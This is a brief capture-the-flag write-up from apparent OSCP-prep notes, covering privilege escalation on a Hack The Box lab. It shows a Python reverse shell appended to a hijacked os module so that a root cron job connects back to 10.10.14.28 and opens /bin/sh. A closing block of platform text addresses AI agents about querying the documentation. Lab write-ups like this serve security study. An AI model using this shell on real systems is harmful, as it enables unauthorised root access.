# Post Exploitation

## Privelege Escalation

Transfer LinEnum.sh over through SMB, wget will not work :(&#x20;

![](/files/-MIOu7fxIz7wG7PaNmQ5)

![](/files/-MIP4bSmmDZ9QM_tutTv)

![Appears that this script is being executed repeatedly ](/files/-MIP6DlkVbPlcVctdzXy)

The file only has read permissions, after reading the file, we see that it runs the os module. We can check if that is configured correctly.&#x20;

![](/files/-MIP6oNT70KXh8BCx1SL)

![](/files/-MIP8-gecyYhe8B41sCO)

Added the following code to the end of the file

```
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.14.28",1233));
dup2(s.fileno(),0); 
dup2(s.fileno(),1); 
dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
```

![We are root! ](/files/-MIPAaVh4L65JAyYi2Lm)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://manuelvazquez-contact.gitbook.io/oscp-prep/hack-the-box/friendzoned/post-exploitation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
